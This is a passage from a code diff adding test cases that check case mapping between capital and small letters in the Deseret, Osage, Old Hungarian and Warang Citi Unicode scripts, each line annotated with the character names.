+test(0x1042D, 0x10405); // DESERET SMALL LETTER LONG OO, DESERET CAPITAL LETTER LONG OO
+test(0x1042E, 0x10406); // DESERET SMALL LETTER SHORT I, DESERET CAPITAL LETTER SHORT I
+test(0x1042F, 0x10407); // DESERET SMALL LETTER SHORT E, DESERET CAPITAL LETTER SHORT E
+test(0x10430, 0x10408); // DESERET SMALL LETTER SHORT A, DESERET CAPITAL LETTER SHORT A
+test(0x10431, 0x10409); // DESERET SMALL LETTER SHORT AH, DESERET CAPITAL LETTER SHORT AH
+test(0x10432, 0x1040A); // DESERET SMALL LETTER SHORT O, DESERET CAPITAL LETTER SHORT O
+test(0x10433, 0x1040B); // DESERET SMALL LETTER SHORT OO, DESERET CAPITAL LETTER SHORT OO
+test(0x10434, 0x1040C); // DESERET SMALL LETTER AY, DESERET CAPITAL LETTER AY
+test(0x10435, 0x1040D); // DESERET SMALL LETTER OW, DESERET CAPITAL LETTER OW
+test(0x10436, 0x1040E); // DESERET SMALL LETTER WU, DESERET CAPITAL LETTER WU
+test(0x10437, 0x1040F); // DESERET SMALL LETTER YEE, DESERET CAPITAL LETTER YEE
+test(0x10438, 0x10410); // DESERET SMALL LETTER H, DESERET CAPITAL LETTER H
+test(0x10439, 0x10411); // DESERET SMALL LETTER PEE, DESERET CAPITAL LETTER PEE
+test(0x1043A, 0x10412); // DESERET SMALL LETTER BEE, DESERET CAPITAL LETTER BEE
+test(0x1043B, 0x10413); // DESERET SMALL LETTER TEE, DESERET CAPITAL LETTER TEE
+test(0x1043C, 0x10414); // DESERET SMALL LETTER DEE, DESERET CAPITAL LETTER DEE
+test(0x1043D, 0x10415); // DESERET SMALL LETTER CHEE, DESERET CAPITAL LETTER CHEE
+test(0x1043E, 0x10416); // DESERET SMALL LETTER JEE, DESERET CAPITAL LETTER JEE
+test(0x1043F, 0x10417); // DESERET SMALL LETTER KAY, DESERET CAPITAL LETTER KAY
+test(0x10440, 0x10418); // DESERET SMALL LETTER GAY, DESERET CAPITAL LETTER GAY
+test(0x10441, 0x10419); // DESERET SMALL LETTER EF, DESERET CAPITAL LETTER EF
+test(0x10442, 0x1041A); // DESERET SMALL LETTER VEE, DESERET CAPITAL LETTER VEE
+test(0x10443, 0x1041B); // DESERET SMALL LETTER ETH, DESERET CAPITAL LETTER ETH
+test(0x10444, 0x1041C); // DESERET SMALL LETTER THEE, DESERET CAPITAL LETTER THEE
+test(0x10445, 0x1041D); // DESERET SMALL LETTER ES, DESERET CAPITAL LETTER ES
+test(0x10446, 0x1041E); // DESERET SMALL LETTER ZEE, DESERET CAPITAL LETTER ZEE
+test(0x10447, 0x1041F); // DESERET SMALL LETTER ESH, DESERET CAPITAL LETTER ESH
+test(0x10448, 0x10420); // DESERET SMALL LETTER ZHEE, DESERET CAPITAL LETTER ZHEE
+test(0x10449, 0x10421); // DESERET SMALL LETTER ER, DESERET CAPITAL LETTER ER
+test(0x1044A, 0x10422); // DESERET SMALL LETTER EL, DESERET CAPITAL LETTER EL
+test(0x1044B, 0x10423); // DESERET SMALL LETTER EM, DESERET CAPITAL LETTER EM
+test(0x1044C, 0x10424); // DESERET SMALL LETTER EN, DESERET CAPITAL LETTER EN
+test(0x1044D, 0x10425); // DESERET SMALL LETTER ENG, DESERET CAPITAL LETTER ENG
+test(0x1044E, 0x10426); // DESERET SMALL LETTER OI, DESERET CAPITAL LETTER OI
+test(0x1044F, 0x10427); // DESERET SMALL LETTER EW, DESERET CAPITAL LETTER EW
+test(0x104B0, 0x104D8); // OSAGE CAPITAL LETTER A, OSAGE SMALL LETTER A
+test(0x104B1, 0x104D9); // OSAGE CAPITAL LETTER AI, OSAGE SMALL LETTER AI
+test(0x104B2, 0x104DA); // OSAGE CAPITAL LETTER AIN, OSAGE SMALL LETTER AIN
+test(0x104B3, 0x104DB); // OSAGE CAPITAL LETTER AH, OSAGE SMALL LETTER AH
+test(0x104B4, 0x104DC); // OSAGE CAPITAL LETTER BRA, OSAGE SMALL LETTER BRA
+test(0x104B5, 0x104DD); // OSAGE CAPITAL LETTER CHA, OSAGE SMALL LETTER CHA
+test(0x104B6, 0x104DE); // OSAGE CAPITAL LETTER EHCHA, OSAGE SMALL LETTER EHCHA
+test(0x104B7, 0x104DF); // OSAGE CAPITAL LETTER E, OSAGE SMALL LETTER E
+test(0x104B8, 0x104E0); // OSAGE CAPITAL LETTER EIN, OSAGE SMALL LETTER EIN
+test(0x104B9, 0x104E1); // OSAGE CAPITAL LETTER HA, OSAGE SMALL LETTER HA
+test(0x104BA, 0x104E2); // OSAGE CAPITAL LETTER HYA, OSAGE SMALL LETTER HYA
+test(0x104BB, 0x104E3); // OSAGE CAPITAL LETTER I, OSAGE SMALL LETTER I
+test(0x104BC, 0x104E4); // OSAGE CAPITAL LETTER KA, OSAGE SMALL LETTER KA
+test(0x104BD, 0x104E5); // OSAGE CAPITAL LETTER EHKA, OSAGE SMALL LETTER EHKA
+test(0x104BE, 0x104E6); // OSAGE CAPITAL LETTER KYA, OSAGE SMALL LETTER KYA
+test(0x104BF, 0x104E7); // OSAGE CAPITAL LETTER LA, OSAGE SMALL LETTER LA
+test(0x104C0, 0x104E8); // OSAGE CAPITAL LETTER MA, OSAGE SMALL LETTER MA
+test(0x104C1, 0x104E9); // OSAGE CAPITAL LETTER NA, OSAGE SMALL LETTER NA
+test(0x104C2, 0x104EA); // OSAGE CAPITAL LETTER O, OSAGE SMALL LETTER O
+test(0x104C3, 0x104EB); // OSAGE CAPITAL LETTER OIN, OSAGE SMALL LETTER OIN
+test(0x104C4, 0x104EC); // OSAGE CAPITAL LETTER PA, OSAGE SMALL LETTER PA
+test(0x104C5, 0x104ED); // OSAGE CAPITAL LETTER EHPA, OSAGE SMALL LETTER EHPA
+test(0x104C6, 0x104EE); // OSAGE CAPITAL LETTER SA, OSAGE SMALL LETTER SA
+test(0x104C7, 0x104EF); // OSAGE CAPITAL LETTER SHA, OSAGE SMALL LETTER SHA
+test(0x104C8, 0x104F0); // OSAGE CAPITAL LETTER TA, OSAGE SMALL LETTER TA
+test(0x104C9, 0x104F1); // OSAGE CAPITAL LETTER EHTA, OSAGE SMALL LETTER EHTA
+test(0x104CA, 0x104F2); // OSAGE CAPITAL LETTER TSA, OSAGE SMALL LETTER TSA
+test(0x104CB, 0x104F3); // OSAGE CAPITAL LETTER EHTSA, OSAGE SMALL LETTER EHTSA
+test(0x104CC, 0x104F4); // OSAGE CAPITAL LETTER TSHA, OSAGE SMALL LETTER TSHA
+test(0x104CD, 0x104F5); // OSAGE CAPITAL LETTER DHA, OSAGE SMALL LETTER DHA
+test(0x104CE, 0x104F6); // OSAGE CAPITAL LETTER U, OSAGE SMALL LETTER U
+test(0x104CF, 0x104F7); // OSAGE CAPITAL LETTER WA, OSAGE SMALL LETTER WA
+test(0x104D0, 0x104F8); // OSAGE CAPITAL LETTER KHA, OSAGE SMALL LETTER KHA
+test(0x104D1, 0x104F9); // OSAGE CAPITAL LETTER GHA, OSAGE SMALL LETTER GHA
+test(0x104D2, 0x104FA); // OSAGE CAPITAL LETTER ZA, OSAGE SMALL LETTER ZA
+test(0x104D3, 0x104FB); // OSAGE CAPITAL LETTER ZHA, OSAGE SMALL LETTER ZHA
+test(0x104D8, 0x104B0); // OSAGE SMALL LETTER A, OSAGE CAPITAL LETTER A
+test(0x104D9, 0x104B1); // OSAGE SMALL LETTER AI, OSAGE CAPITAL LETTER AI
+test(0x104DA, 0x104B2); // OSAGE SMALL LETTER AIN, OSAGE CAPITAL LETTER AIN
+test(0x104DB, 0x104B3); // OSAGE SMALL LETTER AH, OSAGE CAPITAL LETTER AH
+test(0x104DC, 0x104B4); // OSAGE SMALL LETTER BRA, OSAGE CAPITAL LETTER BRA
+test(0x104DD, 0x104B5); // OSAGE SMALL LETTER CHA, OSAGE CAPITAL LETTER CHA
+test(0x104DE, 0x104B6); // OSAGE SMALL LETTER EHCHA, OSAGE CAPITAL LETTER EHCHA
+test(0x104DF, 0x104B7); // OSAGE SMALL LETTER E, OSAGE CAPITAL LETTER E
+test(0x104E0, 0x104B8); // OSAGE SMALL LETTER EIN, OSAGE CAPITAL LETTER EIN
+test(0x104E1, 0x104B9); // OSAGE SMALL LETTER HA, OSAGE CAPITAL LETTER HA
+test(0x104E2, 0x104BA); // OSAGE SMALL LETTER HYA, OSAGE CAPITAL LETTER HYA
+test(0x104E3, 0x104BB); // OSAGE SMALL LETTER I, OSAGE CAPITAL LETTER I
+test(0x104E4, 0x104BC); // OSAGE SMALL LETTER KA, OSAGE CAPITAL LETTER KA
+test(0x104E5, 0x104BD); // OSAGE SMALL LETTER EHKA, OSAGE CAPITAL LETTER EHKA
+test(0x104E6, 0x104BE); // OSAGE SMALL LETTER KYA, OSAGE CAPITAL LETTER KYA
+test(0x104E7, 0x104BF); // OSAGE SMALL LETTER LA, OSAGE CAPITAL LETTER LA
+test(0x104E8, 0x104C0); // OSAGE SMALL LETTER MA, OSAGE CAPITAL LETTER MA
+test(0x104E9, 0x104C1); // OSAGE SMALL LETTER NA, OSAGE CAPITAL LETTER NA
+test(0x104EA, 0x104C2); // OSAGE SMALL LETTER O, OSAGE CAPITAL LETTER O
+test(0x104EB, 0x104C3); // OSAGE SMALL LETTER OIN, OSAGE CAPITAL LETTER OIN
+test(0x104EC, 0x104C4); // OSAGE SMALL LETTER PA, OSAGE CAPITAL LETTER PA
+test(0x104ED, 0x104C5); // OSAGE SMALL LETTER EHPA, OSAGE CAPITAL LETTER EHPA
+test(0x104EE, 0x104C6); // OSAGE SMALL LETTER SA, OSAGE CAPITAL LETTER SA
+test(0x104EF, 0x104C7); // OSAGE SMALL LETTER SHA, OSAGE CAPITAL LETTER SHA
+test(0x104F0, 0x104C8); // OSAGE SMALL LETTER TA, OSAGE CAPITAL LETTER TA
+test(0x104F1, 0x104C9); // OSAGE SMALL LETTER EHTA, OSAGE CAPITAL LETTER EHTA
+test(0x104F2, 0x104CA); // OSAGE SMALL LETTER TSA, OSAGE CAPITAL LETTER TSA
+test(0x104F3, 0x104CB); // OSAGE SMALL LETTER EHTSA, OSAGE CAPITAL LETTER EHTSA
+test(0x104F4, 0x104CC); // OSAGE SMALL LETTER TSHA, OSAGE CAPITAL LETTER TSHA
+test(0x104F5, 0x104CD); // OSAGE SMALL LETTER DHA, OSAGE CAPITAL LETTER DHA
+test(0x104F6, 0x104CE); // OSAGE SMALL LETTER U, OSAGE CAPITAL LETTER U
+test(0x104F7, 0x104CF); // OSAGE SMALL LETTER WA, OSAGE CAPITAL LETTER WA
+test(0x104F8, 0x104D0); // OSAGE SMALL LETTER KHA, OSAGE CAPITAL LETTER KHA
+test(0x104F9, 0x104D1); // OSAGE SMALL LETTER GHA, OSAGE CAPITAL LETTER GHA
+test(0x104FA, 0x104D2); // OSAGE SMALL LETTER ZA, OSAGE CAPITAL LETTER ZA
+test(0x104FB, 0x104D3); // OSAGE SMALL LETTER ZHA, OSAGE CAPITAL LETTER ZHA
+test(0x10C80, 0x10CC0); // OLD HUNGARIAN CAPITAL LETTER A, OLD HUNGARIAN SMALL LETTER A
+test(0x10C81, 0x10CC1); // OLD HUNGARIAN CAPITAL LETTER AA, OLD HUNGARIAN SMALL LETTER AA
+test(0x10C82, 0x10CC2); // OLD HUNGARIAN CAPITAL LETTER EB, OLD HUNGARIAN SMALL LETTER EB
+test(0x10C83, 0x10CC3); // OLD HUNGARIAN CAPITAL LETTER AMB, OLD HUNGARIAN SMALL LETTER AMB
+test(0x10C84, 0x10CC4); // OLD HUNGARIAN CAPITAL LETTER EC, OLD HUNGARIAN SMALL LETTER EC
+test(0x10C85, 0x10CC5); // OLD HUNGARIAN CAPITAL LETTER ENC, OLD HUNGARIAN SMALL LETTER ENC
+test(0x10C86, 0x10CC6); // OLD HUNGARIAN CAPITAL LETTER ECS, OLD HUNGARIAN SMALL LETTER ECS
+test(0x10C87, 0x10CC7); // OLD HUNGARIAN CAPITAL LETTER ED, OLD HUNGARIAN SMALL LETTER ED
+test(0x10C88, 0x10CC8); // OLD HUNGARIAN CAPITAL LETTER AND, OLD HUNGARIAN SMALL LETTER AND
+test(0x10C89, 0x10CC9); // OLD HUNGARIAN CAPITAL LETTER E, OLD HUNGARIAN SMALL LETTER E
+test(0x10C8A, 0x10CCA); // OLD HUNGARIAN CAPITAL LETTER CLOSE E, OLD HUNGARIAN SMALL LETTER CLOSE E
+test(0x10C8B, 0x10CCB); // OLD HUNGARIAN CAPITAL LETTER EE, OLD HUNGARIAN SMALL LETTER EE
+test(0x10C8C, 0x10CCC); // OLD HUNGARIAN CAPITAL LETTER EF, OLD HUNGARIAN SMALL LETTER EF
+test(0x10C8D, 0x10CCD); // OLD HUNGARIAN CAPITAL LETTER EG, OLD HUNGARIAN SMALL LETTER EG
+test(0x10C8E, 0x10CCE); // OLD HUNGARIAN CAPITAL LETTER EGY, OLD HUNGARIAN SMALL LETTER EGY
+test(0x10C8F, 0x10CCF); // OLD HUNGARIAN CAPITAL LETTER EH, OLD HUNGARIAN SMALL LETTER EH
+test(0x10C90, 0x10CD0); // OLD HUNGARIAN CAPITAL LETTER I, OLD HUNGARIAN SMALL LETTER I
+test(0x10C91, 0x10CD1); // OLD HUNGARIAN CAPITAL LETTER II, OLD HUNGARIAN SMALL LETTER II
+test(0x10C92, 0x10CD2); // OLD HUNGARIAN CAPITAL LETTER EJ, OLD HUNGARIAN SMALL LETTER EJ
+test(0x10C93, 0x10CD3); // OLD HUNGARIAN CAPITAL LETTER EK, OLD HUNGARIAN SMALL LETTER EK
+test(0x10C94, 0x10CD4); // OLD HUNGARIAN CAPITAL LETTER AK, OLD HUNGARIAN SMALL LETTER AK
+test(0x10C95, 0x10CD5); // OLD HUNGARIAN CAPITAL LETTER UNK, OLD HUNGARIAN SMALL LETTER UNK
+test(0x10C96, 0x10CD6); // OLD HUNGARIAN CAPITAL LETTER EL, OLD HUNGARIAN SMALL LETTER EL
+test(0x10C97, 0x10CD7); // OLD HUNGARIAN CAPITAL LETTER ELY, OLD HUNGARIAN SMALL LETTER ELY
+test(0x10C98, 0x10CD8); // OLD HUNGARIAN CAPITAL LETTER EM, OLD HUNGARIAN SMALL LETTER EM
+test(0x10C99, 0x10CD9); // OLD HUNGARIAN CAPITAL LETTER EN, OLD HUNGARIAN SMALL LETTER EN
+test(0x10C9A, 0x10CDA); // OLD HUNGARIAN CAPITAL LETTER ENY, OLD HUNGARIAN SMALL LETTER ENY
+test(0x10C9B, 0x10CDB); // OLD HUNGARIAN CAPITAL LETTER O, OLD HUNGARIAN SMALL LETTER O
+test(0x10C9C, 0x10CDC); // OLD HUNGARIAN CAPITAL LETTER OO, OLD HUNGARIAN SMALL LETTER OO
+test(0x10C9D, 0x10CDD); // OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE, OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE
+test(0x10C9E, 0x10CDE); // OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE, OLD HUNGARIAN SMALL LETTER RUDIMENTA OE
+test(0x10C9F, 0x10CDF); // OLD HUNGARIAN CAPITAL LETTER OEE, OLD HUNGARIAN SMALL LETTER OEE
+test(0x10CA0, 0x10CE0); // OLD HUNGARIAN CAPITAL LETTER EP, OLD HUNGARIAN SMALL LETTER EP
+test(0x10CA1, 0x10CE1); // OLD HUNGARIAN CAPITAL LETTER EMP, OLD HUNGARIAN SMALL LETTER EMP
+test(0x10CA2, 0x10CE2); // OLD HUNGARIAN CAPITAL LETTER ER, OLD HUNGARIAN SMALL LETTER ER
+test(0x10CA3, 0x10CE3); // OLD HUNGARIAN CAPITAL LETTER SHORT ER, OLD HUNGARIAN SMALL LETTER SHORT ER
+test(0x10CA4, 0x10CE4); // OLD HUNGARIAN CAPITAL LETTER ES, OLD HUNGARIAN SMALL LETTER ES
+test(0x10CA5, 0x10CE5); // OLD HUNGARIAN CAPITAL LETTER ESZ, OLD HUNGARIAN SMALL LETTER ESZ
+test(0x10CA6, 0x10CE6); // OLD HUNGARIAN CAPITAL LETTER ET, OLD HUNGARIAN SMALL LETTER ET
+test(0x10CA7, 0x10CE7); // OLD HUNGARIAN CAPITAL LETTER ENT, OLD HUNGARIAN SMALL LETTER ENT
+test(0x10CA8, 0x10CE8); // OLD HUNGARIAN CAPITAL LETTER ETY, OLD HUNGARIAN SMALL LETTER ETY
+test(0x10CA9, 0x10CE9); // OLD HUNGARIAN CAPITAL LETTER ECH, OLD HUNGARIAN SMALL LETTER ECH
+test(0x10CAA, 0x10CEA); // OLD HUNGARIAN CAPITAL LETTER U, OLD HUNGARIAN SMALL LETTER U
+test(0x10CAB, 0x10CEB); // OLD HUNGARIAN CAPITAL LETTER UU, OLD HUNGARIAN SMALL LETTER UU
+test(0x10CAC, 0x10CEC); // OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE, OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE
+test(0x10CAD, 0x10CED); // OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE, OLD HUNGARIAN SMALL LETTER RUDIMENTA UE
+test(0x10CAE, 0x10CEE); // OLD HUNGARIAN CAPITAL LETTER EV, OLD HUNGARIAN SMALL LETTER EV
+test(0x10CAF, 0x10CEF); // OLD HUNGARIAN CAPITAL LETTER EZ, OLD HUNGARIAN SMALL LETTER EZ
+test(0x10CB0, 0x10CF0); // OLD HUNGARIAN CAPITAL LETTER EZS, OLD HUNGARIAN SMALL LETTER EZS
+test(0x10CB1, 0x10CF1); // OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN, OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN
+test(0x10CB2, 0x10CF2); // OLD HUNGARIAN CAPITAL LETTER US, OLD HUNGARIAN SMALL LETTER US
+test(0x10CC0, 0x10C80); // OLD HUNGARIAN SMALL LETTER A, OLD HUNGARIAN CAPITAL LETTER A
+test(0x10CC1, 0x10C81); // OLD HUNGARIAN SMALL LETTER AA, OLD HUNGARIAN CAPITAL LETTER AA
+test(0x10CC2, 0x10C82); // OLD HUNGARIAN SMALL LETTER EB, OLD HUNGARIAN CAPITAL LETTER EB
+test(0x10CC3, 0x10C83); // OLD HUNGARIAN SMALL LETTER AMB, OLD HUNGARIAN CAPITAL LETTER AMB
+test(0x10CC4, 0x10C84); // OLD HUNGARIAN SMALL LETTER EC, OLD HUNGARIAN CAPITAL LETTER EC
+test(0x10CC5, 0x10C85); // OLD HUNGARIAN SMALL LETTER ENC, OLD HUNGARIAN CAPITAL LETTER ENC
+test(0x10CC6, 0x10C86); // OLD HUNGARIAN SMALL LETTER ECS, OLD HUNGARIAN CAPITAL LETTER ECS
+test(0x10CC7, 0x10C87); // OLD HUNGARIAN SMALL LETTER ED, OLD HUNGARIAN CAPITAL LETTER ED
+test(0x10CC8, 0x10C88); // OLD HUNGARIAN SMALL LETTER AND, OLD HUNGARIAN CAPITAL LETTER AND
+test(0x10CC9, 0x10C89); // OLD HUNGARIAN SMALL LETTER E, OLD HUNGARIAN CAPITAL LETTER E
+test(0x10CCA, 0x10C8A); // OLD HUNGARIAN SMALL LETTER CLOSE E, OLD HUNGARIAN CAPITAL LETTER CLOSE E
+test(0x10CCB, 0x10C8B); // OLD HUNGARIAN SMALL LETTER EE, OLD HUNGARIAN CAPITAL LETTER EE
+test(0x10CCC, 0x10C8C); // OLD HUNGARIAN SMALL LETTER EF, OLD HUNGARIAN CAPITAL LETTER EF
+test(0x10CCD, 0x10C8D); // OLD HUNGARIAN SMALL LETTER EG, OLD HUNGARIAN CAPITAL LETTER EG
+test(0x10CCE, 0x10C8E); // OLD HUNGARIAN SMALL LETTER EGY, OLD HUNGARIAN CAPITAL LETTER EGY
+test(0x10CCF, 0x10C8F); // OLD HUNGARIAN SMALL LETTER EH, OLD HUNGARIAN CAPITAL LETTER EH
+test(0x10CD0, 0x10C90); // OLD HUNGARIAN SMALL LETTER I, OLD HUNGARIAN CAPITAL LETTER I
+test(0x10CD1, 0x10C91); // OLD HUNGARIAN SMALL LETTER II, OLD HUNGARIAN CAPITAL LETTER II
+test(0x10CD2, 0x10C92); // OLD HUNGARIAN SMALL LETTER EJ, OLD HUNGARIAN CAPITAL LETTER EJ
+test(0x10CD3, 0x10C93); // OLD HUNGARIAN SMALL LETTER EK, OLD HUNGARIAN CAPITAL LETTER EK
+test(0x10CD4, 0x10C94); // OLD HUNGARIAN SMALL LETTER AK, OLD HUNGARIAN CAPITAL LETTER AK
+test(0x10CD5, 0x10C95); // OLD HUNGARIAN SMALL LETTER UNK, OLD HUNGARIAN CAPITAL LETTER UNK
+test(0x10CD6, 0x10C96); // OLD HUNGARIAN SMALL LETTER EL, OLD HUNGARIAN CAPITAL LETTER EL
+test(0x10CD7, 0x10C97); // OLD HUNGARIAN SMALL LETTER ELY, OLD HUNGARIAN CAPITAL LETTER ELY
+test(0x10CD8, 0x10C98); // OLD HUNGARIAN SMALL LETTER EM, OLD HUNGARIAN CAPITAL LETTER EM
+test(0x10CD9, 0x10C99); // OLD HUNGARIAN SMALL LETTER EN, OLD HUNGARIAN CAPITAL LETTER EN
+test(0x10CDA, 0x10C9A); // OLD HUNGARIAN SMALL LETTER ENY, OLD HUNGARIAN CAPITAL LETTER ENY
+test(0x10CDB, 0x10C9B); // OLD HUNGARIAN SMALL LETTER O, OLD HUNGARIAN CAPITAL LETTER O
+test(0x10CDC, 0x10C9C); // OLD HUNGARIAN SMALL LETTER OO, OLD HUNGARIAN CAPITAL LETTER OO
+test(0x10CDD, 0x10C9D); // OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE, OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE
+test(0x10CDE, 0x10C9E); // OLD HUNGARIAN SMALL LETTER RUDIMENTA OE, OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE
+test(0x10CDF, 0x10C9F); // OLD HUNGARIAN SMALL LETTER OEE, OLD HUNGARIAN CAPITAL LETTER OEE
+test(0x10CE0, 0x10CA0); // OLD HUNGARIAN SMALL LETTER EP, OLD HUNGARIAN CAPITAL LETTER EP
+test(0x10CE1, 0x10CA1); // OLD HUNGARIAN SMALL LETTER EMP, OLD HUNGARIAN CAPITAL LETTER EMP
+test(0x10CE2, 0x10CA2); // OLD HUNGARIAN SMALL LETTER ER, OLD HUNGARIAN CAPITAL LETTER ER
+test(0x10CE3, 0x10CA3); // OLD HUNGARIAN SMALL LETTER SHORT ER, OLD HUNGARIAN CAPITAL LETTER SHORT ER
+test(0x10CE4, 0x10CA4); // OLD HUNGARIAN SMALL LETTER ES, OLD HUNGARIAN CAPITAL LETTER ES
+test(0x10CE5, 0x10CA5); // OLD HUNGARIAN SMALL LETTER ESZ, OLD HUNGARIAN CAPITAL LETTER ESZ
+test(0x10CE6, 0x10CA6); // OLD HUNGARIAN SMALL LETTER ET, OLD HUNGARIAN CAPITAL LETTER ET
+test(0x10CE7, 0x10CA7); // OLD HUNGARIAN SMALL LETTER ENT, OLD HUNGARIAN CAPITAL LETTER ENT
+test(0x10CE8, 0x10CA8); // OLD HUNGARIAN SMALL LETTER ETY, OLD HUNGARIAN CAPITAL LETTER ETY
+test(0x10CE9, 0x10CA9); // OLD HUNGARIAN SMALL LETTER ECH, OLD HUNGARIAN CAPITAL LETTER ECH
+test(0x10CEA, 0x10CAA); // OLD HUNGARIAN SMALL LETTER U, OLD HUNGARIAN CAPITAL LETTER U
+test(0x10CEB, 0x10CAB); // OLD HUNGARIAN SMALL LETTER UU, OLD HUNGARIAN CAPITAL LETTER UU
+test(0x10CEC, 0x10CAC); // OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE, OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE
+test(0x10CED, 0x10CAD); // OLD HUNGARIAN SMALL LETTER RUDIMENTA UE, OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE
+test(0x10CEE, 0x10CAE); // OLD HUNGARIAN SMALL LETTER EV, OLD HUNGARIAN CAPITAL LETTER EV
+test(0x10CEF, 0x10CAF); // OLD HUNGARIAN SMALL LETTER EZ, OLD HUNGARIAN CAPITAL LETTER EZ
+test(0x10CF0, 0x10CB0); // OLD HUNGARIAN SMALL LETTER EZS, OLD HUNGARIAN CAPITAL LETTER EZS
+test(0x10CF1, 0x10CB1); // OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN, OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN
+test(0x10CF2, 0x10CB2); // OLD HUNGARIAN SMALL LETTER US, OLD HUNGARIAN CAPITAL LETTER US
+test(0x118A0, 0x118C0); // WARANG CITI CAPITAL LETTER NGAA, WARANG CITI SMALL LETTER NGAA
+test(0x118A1, 0x118C1); // WARANG CITI CAPITAL LETTER A, WARANG CITI SMALL LETTER A
+test(0x118A2, 0x118C2); // WARANG CITI CAPITAL LETTER WI, WARANG CITI SMALL LETTER WI
+test(0x118A3, 0x118C3); // WARANG CITI CAPITAL LETTER YU, WARANG CITI SMALL LETTER YU
+test(0x118A4, 0x118C4); // WARANG CITI CAPITAL LETTER YA, WARANG CITI SMALL LETTER YA
+test(0x118A5, 0x118C5); // WARANG CITI CAPITAL LETTER YO, WARANG CITI SMALL LETTER YO
+test(0x118A6, 0x118C6); // WARANG CITI CAPITAL LETTER II, WARANG CITI SMALL LETTER II
+test(0x118A7, 0x118C7); // WARANG CITI CAPITAL LETTER UU, WARANG CITI SMALL LETTER UU
+test(0x118A8, 0x118C8); // WARANG CITI CAPITAL LETTER E, WARANG CITI SMALL LETTER E
+test(0x118A9, 0x118C9); // WARANG CITI CAPITAL LETTER O, WARANG CITI SMALL LETTER O
+test(0x118AA, 0x118CA); // WARANG CITI CAPITAL LETTER ANG, WARANG CITI SMALL LETTER ANG
+test(0x118AB, 0x118CB); // WARANG CITI CAPITAL LETTER GA, WARANG CITI SMALL LETTER GA
+test(0x118AC, 0x118CC); // WARANG CITI CAPITAL LETTER KO, WARANG CITI SMALL LETTER KO
+test(0x118AD, 0x118CD); // WARANG CITI CAPITAL LETTER ENY, WARANG CITI SMALL LETTER ENY
+test(0x118AE, 0x118CE); // WARANG CITI CAPITAL LETTER YUJ, WARANG CITI SMALL LETTER YUJ
+test(0x118AF, 0x118CF); // WARANG CITI CAPITAL LETTER UC, WARANG CITI SMALL LETTER UC
+test(0x118B0, 0x118D0); // WARANG CITI CAPITAL LETTER ENN, WARANG CITI SMALL LETTER ENN
+test(0x118B1, 0x118D1); // WARANG CITI CAPITAL LETTER ODD, WARANG CITI SMALL LETTER ODD
+test(0x118B2, 0x118D2); // WARANG CITI CAPITAL LETTER TTE, WARANG CITI SMALL LETTER TTE
+test(0x118B3, 0x118D3); // WARANG CITI CAPITAL LETTER NUNG, WARANG CITI SMALL LETTER NUNG
+test(0x118B4, 0x118D4); // WARANG CITI CAPITAL LETTER DA, WARANG CITI SMALL LETTER DA
+test(0x118B5, 0x118D5); // WARANG CITI CAPITAL LETTER AT, WARANG CITI SMALL LETTER AT
+test(0x118B6, 0x118D6); // WARANG CITI CAPITAL LETTER AM, WARANG CITI SMALL LETTER AM
+test(0x118B7, 0x118D7); // WARANG CITI CAPITAL LETTER BU, WARANG CITI SMALL LETTER BU
+test(0x118B8, 0x118D8); // WARANG CITI CAPITAL LETTER PU, WARANG CITI SMALL LETTER PU
+test(0x118B9, 0x118D9); // WARANG CITI CAPITAL LETTER HIYO, WARANG CITI SMALL LETTER HIYO
+test(0x118BA, 0x118DA); // WARANG CITI CAPITAL LETTER HOLO, WARANG CITI SMALL LETTER HOLO
+test(0x118BB, 0x118DB); // WARANG CITI CAPITAL LETTER HORR, WARANG CITI SMALL LETTER HORR
+test(0x118BC, 0x118DC); // WARANG CITI CAPITAL LETTER HAR, WARANG CITI SMALL LETTER HAR
+test(0x118BD, 0x118DD); // WARANG CITI CAPITAL LETTER SSUU, WARANG CITI SMALL LETTER SSUU
+test(0x118BE, 0x118DE); // WARANG CITI CAPITAL LETTER SII, WARANG CITI SMALL LETTER SII
+test(0x118BF, 0x118DF); // WARANG CITI CAPITAL LETTER VIYO, WARANG CITI SMALL LETTER VIYO
+test(0x118C0, 0x118A0); // WARANG CITI SMALL LETTER NGAA, WARANG CITI CAPITAL LETTER NGAA
+test(0x118C1, 0x118A1); // WARANG CITI SMALL LETTER A, WARANG CITI CAPITAL LETTER A
+test(0x118C2, 0x118A2); // WARANG CITI SMALL LETTER WI, WARANG CITI CAPITAL LETTER WI
+test(0x118C3, 0x118A3); // WARANG CITI SMALL LETTER YU, WARANG CITI CAPITAL LETTER YU
+test(0x118C4, 0x118A4); // WARANG CITI SMALL LETTER YA, WARANG CITI CAPITAL LETTER YA
+test(0x118C5, 0x118A5); // WARANG CITI SMALL LETTER YO, WARANG CITI CAPITAL LETTER YO
+test(0x118C6, 0x118A6); // WARANG CITI SMALL LETTER II, WARANG CITI CAPITAL LETTER II
+test(0x118C7, 0x118A7); // WARANG CITI SMALL LETTER UU, WARANG CITI CAPITAL LETTER UU
+test(0x118C8, 0x118A8); // WARANG CITI SMALL LETTER E, WARANG CITI CAPITAL LETTER E
+test(0x118C9, 0x118A9); // WARANG CITI SMALL LETTER O, WARANG CITI CAPITAL LETTER O
+test(0x118CA, 0x118AA); // WARANG CITI SMALL LETTER ANG, WARANG CITI CAPITAL LETTER ANG
+test(0x118CB, 0x118AB); // WARANG CITI SMALL LETTER GA, WARANG CITI CAPITAL LETTER GA
+test(0x118CC, 0x118AC); // WARANG CITI SMALL LETTER KO, WARANG CITI CAPITAL LETTER KO
+test(0x118CD, 0x118AD); // WARANG CITI SMALL LETTER ENY, WARANG CITI CAPITAL LETTER ENY
+test(0x118CE, 0x118AE); // WARANG CITI SMALL LETTER YUJ, WARANG CITI CAPITAL LETTER YUJ
